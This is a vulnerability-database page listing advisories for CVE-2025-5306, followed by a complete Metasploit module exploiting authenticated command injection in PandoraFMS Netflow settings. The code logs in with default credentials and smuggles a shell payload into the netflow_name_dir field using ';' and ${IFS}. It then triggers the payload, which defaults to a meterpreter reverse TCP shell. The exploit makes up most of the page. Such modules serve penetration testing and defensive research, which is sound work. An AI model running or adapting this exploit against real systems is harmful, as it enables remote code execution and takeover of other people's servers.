| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-5306 | 27 Jun 202510:47 | – | circl | |
| Pandora FMS 安全漏洞 | 27 Jun 202500:00 | – | cnnvd | |
| CVE-2025-5306 | 27 Jun 202507:48 | – | cve | |
| CVE-2025-5306 Command Injection in Netflow path | 27 Jun 202507:48 | – | cvelist | |
| EUVD-2025-19256 | 27 Jun 202507:48 | – | euvd | |
| PandoraFMS Netflow Authenticated Remote Code Execution | 17 Jul 202518:55 | – | metasploit | |
| CVE-2025-5306 | 27 Jun 202508:15 | – | nvd | |
| CVE-2025-5306 | 27 Jun 202508:15 | – | osv | |
| 📄 PandoraFMS Netflow 7.0.777.10 Command Injection | 13 Feb 202600:00 | – | packetstorm | |
| PT-2025-27064 · Unknown · Pandora Fms | 27 Jun 202500:00 | – | ptsecurity |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.
},
'License' => MSF_LICENSE,
'Author' => ['msutovsky-r7'], # researcher, module dev
'References' => [
[ 'CVE', '2025-5306']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ ARCH_CMD ],
'Privileged' => false,
'Targets' => [
[
'Linux/Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ ARCH_CMD]
}
]
],
'DisclosureDate' => '2025-12-30',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']),
OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']),
OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'login' => '1' },
'keep_cookies' => true
})
return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200
html = res.get_html_document
return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html
version = html.at('div[@id="ver_num"]')&.text
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?
version = version[1..]&.sub('NG', '')
vprint_warning('Token was not parsed, will try again') unless @csrf_token
vprint_status("Version #{version} detected")
return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))
Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
end
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'login' => '1' },
'keep_cookies' => true
})
fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200
html = res.get_html_document
fail_with Failure::UnexpectedReply, 'Empty response received' unless html
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
end
##
# Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode"
##
def login_successful?(res)
res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
end
def login
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => { 'login' => '1' },
'vars_post' =>
{
'nick' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login_button' => "Let's go",
'csrf_code' => @csrf_token
}
})
fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res)
end
def valid_netflow_options?(opts)
opts.each do |item|
return false if item.blank?
end
end
def configure_netflow
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }
})
fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200
html = res.get_html_document
fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html
netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)
request_data = {
'netflow_daemon' => netflow_daemon_value,
'netflow_nfdump' => netflow_nfdump_value,
'netflow_max_resolution' => netflow_max_resolution_value,
'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
'netflow_max_lifetime' => netflow_max_lifetime_value,
'netflow_interval' => netflow_interval_value
}
fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data)
request_data.merge!({
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
'update_config' => '1',
'upd_button' => 'Update'
})
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
'vars_post' => request_data
})
fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
end
def trigger_payload
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' }
})
end
def exploit
# do we have csrf token already
get_csrf_token unless @csrf_token
login
configure_netflow
trigger_payload
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation